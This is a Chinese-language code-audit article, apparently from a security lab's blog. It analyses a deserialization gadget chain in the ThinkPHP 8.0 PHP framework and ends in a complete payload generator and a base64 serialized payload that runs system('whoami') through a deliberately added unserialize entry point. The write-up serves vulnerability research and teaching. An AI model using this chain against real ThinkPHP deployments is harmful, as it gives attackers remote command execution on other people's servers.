『代码审计』ThinkPHP8.0的反序列化分析

CHENJI

点击蓝字 关注我们

『代码审计』ThinkPHP8.0的反序列化分析

日期:2024年09月11日
作者:Obsidian
介绍:ThinkPHP8的反序列化分析。

0x01 前期准备

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架。ThinkPHP8.0基于PHP8.06.1版本进行了重构和优化,并更加规范化,在20230630日发布。学习它的反序列化漏洞,需要对PHP基础、反序列化基础、类与对象以及命名空间的概念有所了解。

『代码审计』ThinkPHP8.0的反序列化分析

参考资料:
  • https://www.php.net/manual/zh/langref.php

  • https://www.php.net/manual/zh/language.oop5.php

  • https://www.php.net/manual/zh/language.namespaces.php

在了解完基础概念之后,需要进行测试环境搭建。

安装 ThinkPHP8.0 可使用composer一步到位,在任意目录下,例如/root/,执行以下命令:

#安装php8.0及所需依赖apt install software-properties-commonadd-apt-repository ppa:ondrej/phpapt intall php zip unzip php-zip
#安装composercurl -sS https://getcomposer.org/installer | phpmv composer.phar /usr/local/bin/composer
#使用composer安装ThinkPHP最新版composer create-project topthink/think tp

安装完成后,还需要进行启动:

cd tpphp think run

完成之后,访问系统的8000端口,如果内容与下图一致,说明搭建成功。

『代码审计』ThinkPHP8.0的反序列化分析




如果无法正常显示页面可能是网络问题哦


之后需要添加一个反序列化漏洞的入口:

可以在文件routes/web.php中,修改如下代码,增加反序列化利用点:

public function index(){    @unserialize(base64_decode($_GET['test']));    return 'test';}
『代码审计』ThinkPHP8.0的反序列化分析

之后访问8000端口,进行测试即可。

『代码审计』ThinkPHP8.0的反序列化分析

0x02 漏洞分析及复现

常规而言,反序列化漏洞的触发点一般是__wakeup()或者__destruct(),于是全局搜索相关方法:

『代码审计』ThinkPHP8.0的反序列化分析

『代码审计』ThinkPHP8.0的反序列化分析

在查看了所有的类之后,选择了ResourceRegister作为反序列化的起点,简化代码如下:

<?phpnamespace thinkroute;class ResourceRegister{    protected $resource;
protected function register(){ $this->resource->parseGroupRule($this->resource->getRule()); } public function __destruct(){ $this->register(); }}

从以上代码可以发现,我们需要找到一个类,同时存在parseGroupRulegetRule方法,于是全局搜索相关方法:

『代码审计』ThinkPHP8.0的反序列化分析

『代码审计』ThinkPHP8.0的反序列化分析

最终发现,Resource继承RuleGroupRuleGroup继承Rule,同时满足以上条件,简化代码如下:

namespace thinkroute;class Rule{}class RuleGroup extends Rule{}class Resource extends RuleGroup{    protected $option = [];    protected $rule;
public function getRule(){ return $this->rule; } public function parseGroupRule($rule): void{ $option = $this->option;
if (str_contains($rule, '.')) { $array = explode('.', $rule); $item = [];
foreach ($array as $val) { $item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>'; }
} }}

首先,getRule方法返回了$this->rule,变量可控。parseGroupRule方法对传入的$this->rule进行了判断和处理,最终需要$this->rule变量变成aaa.bbb的字符串形式,满足条件后,会进行foreach操作,对$this->option['var']['aaa']进行了字符串拼接操作,可以触发__toString()方法,于是全局搜索相关方法:

『代码审计』ThinkPHP8.0的反序列化分析

最终选择了Conversion进行利用,简化代码如下:

<?php
namespace thinkmodelconcern;
trait Conversion{
protected $visible = []; protected $append = []; private $relation = [];
public function __toString(){ return $this->toJson(); }
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string{ return json_encode($this->toArray(), $options); }
public function toArray(): array{ $item = $visible = $hidden = [];
foreach ($this->visible as $key => $val) { if (is_string($val)) { //...... } else { $visible[$key] = $val; } }
foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name, $visible, $hidden); }
return $item; }
protected function appendAttrToArray(array &$item, $key, array | string $name, array $visible, array $hidden): void{ if (is_array($name)) { $relation = $this->getRelationWith($key, $hidden, $visible); } }
protected function getRelationWith(string $key, array $hidden, array $visible){ $relation = $this->getRelation($key, true); if ($relation) { if (isset($visible[$key])) { $relation->visible($visible[$key]); } } return $relation; }
public function getRelation(string $name = null, bool $auto = false){ if (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } }
}

__toString触发toJson()方法,然后继续触发toArray()方法,对$this->visible进行了判断和操作,限制条件是数组的值不能是字符串,这里可以先采用数组的形式进行绕过。然后对$this->append进行了foreach,触发了appendAttrToArray(),这里对$this->append进行了判断,要求数组值必须是数组,之后触发getRelationWith()方法。getRelation()要求$this->append$this->relation$this->visible拥有同样的数组键值。例如,$this->append['x']=['x'];$this->relation['x']='aaa';$this->visible['x']=['bbb'];。最终可以触发aaa__call方法,参数是['bbb']

但是Conversion类使用了trait定义,无法进行实例化,所以需要找到使用Conversion的其他类,于是全局搜索相关内容:

『代码审计』ThinkPHP8.0的反序列化分析

找到Model类。

abstract class Model {}

但是Model类是抽象类,同样无法使用,继续寻找继承Model类的其他类:

『代码审计』ThinkPHP8.0的反序列化分析

最终找到Pivot,可以用它来替代Conversion类使用,之后需要寻找可用的__call方法:

『代码审计』ThinkPHP8.0的反序列化分析

绝大部分的方法都限制了只能使用当前类的方法,或者对返回值做了限制,最终使用了Validate,简化代码如下:

<?php
namespace think;class Validate{
protected $type;
public function __call($method, $args){ array_push($args, lcfirst($method)); return call_user_func_array([$this, 'is'], $args); }
public function is($value, string $rule, array $data = []): bool{ $call = function ($value, $rule) { if (isset($this->type[$rule])) { $result = call_user_func_array($this->type[$rule], [$value]); } return $result; };
return match (Str::camel($rule)) { default => $call($value, $rule) }; }}

通过__call方法触发了自身的is方法,此时is方法的三个参数分别是$value=['bbb'],$rule='visible',$data=[]。最终通过call_user_func_array进行命令执行,方法名是$this->type['visible'],参数值是['bbb']。很明显,我们可以设置$this->type['visible']='system',但是参数是数组,无法利用。

此时回到最开始设置数组的地方,当时是为了绕过is_string,那么我们可以使用类的__toString方法进行绕过,找到一个ConstStub类,简化代码如下:

<?php
namespace SymfonyComponentVarDumperCaster;
class ConstStub{ public $value; public function __toString(): string{ return (string) $this->value; }}

可以将['bbb']替换为new ConstStub(),通过将命令设置为$this->value进行绕过,调用链如下:

at ResourceRegister->__destruct() in Index.phpat ResourceRegister->register() in ResourceRegister.phpat Resource->parseGroupRule() in ResourceRegister.phpat Model->__toString() in Resource.phpat Model->toJson() in Conversion.phpat Model->toArray() in Conversion.phpat Model->appendAttrToArray() in Conversion.phpat Model->getRelationWith() in Conversion.phpat Validate->__call() in Conversion.phpat call_user_func_array() in Validate.phpat Validate->is() in Validate.phpat call_user_func_array() in Validate.phpat ConstStub->__toString() in ConstStub.php

最终的payload代码如下:

<?php
namespace SymfonyComponentVarDumperCaster{ class ConstStub { public $value = 'whoami'; }}
namespace think{ class Validate{ protected $type; public function __construct(){ $this->type["visible"] = "system"; } }}
namespace thinkmodel{ use thinkValidate; use SymfonyComponentVarDumperCasterConstStub;
class Pivot{ protected $append; protected $visible; private $relation; public function __construct(){ $this->append["x"] = []; $this->relation["x"] = new Validate(); $this->visible["x"] = new ConstStub(); } }}
namespace thinkroute{ use thinkmodelPivot; class Resource{ protected $rule; protected $option = []; public function __construct(){ $this->rule = "x.x"; $this->option = ["var" => ["x" => new Pivot()]]; } }
class ResourceRegister{ protected $resource; public function __construct(){ $this->resource = new Resource(); } }}
namespace{ use thinkrouteResourceRegister; $payload = new ResourceRegister(); echo base64_encode(serialize($payload));}//TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6MzoieC54IjtzOjk6IgAqAG9wdGlvbiI7YToxOntzOjM6InZhciI7YToxOntzOjE6IngiO086MTc6InRoaW5rXG1vZGVsXFBpdm90IjozOntzOjk6IgAqAGFwcGVuZCI7YToxOntzOjE6IngiO2E6MDp7fX1zOjEwOiIAKgB2aXNpYmxlIjthOjE6e3M6MToieCI7Tzo0NDoiU3ltZm9ueVxDb21wb25lbnRcVmFyRHVtcGVyXENhc3RlclxDb25zdFN0dWIiOjE6e3M6NToidmFsdWUiO3M6Njoid2hvYW1pIjt9fXM6Mjc6IgB0aGlua1xtb2RlbFxQaXZvdAByZWxhdGlvbiI7YToxOntzOjE6IngiO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czo3OiJ2aXNpYmxlIjtzOjY6InN5c3RlbSI7fX19fX19fX0=?>
『代码审计』ThinkPHP8.0的反序列化分析

0x03 总结

ThinkPHP框架的全部反序列化利用链要比之前分析过的yii2框架和Laravel框架更加复杂一点。之前没有对前置版本5.06.0的反序列化进行分析过,本次算是ThinkPHP框架的第一次分析,后续如果官方更新后,也会继续尝试进行分析。
『代码审计』ThinkPHP8.0的反序列化分析

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程研究中心”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

『代码审计』ThinkPHP8.0的反序列化分析


原文始发于微信公众号(宸极实验室):『代码审计』ThinkPHP8.0的反序列化分析

版权声明:admin 发表于 2024年10月12日 下午5:02。
转载请注明:『代码审计』ThinkPHP8.0的反序列化分析 | CTF导航

相关文章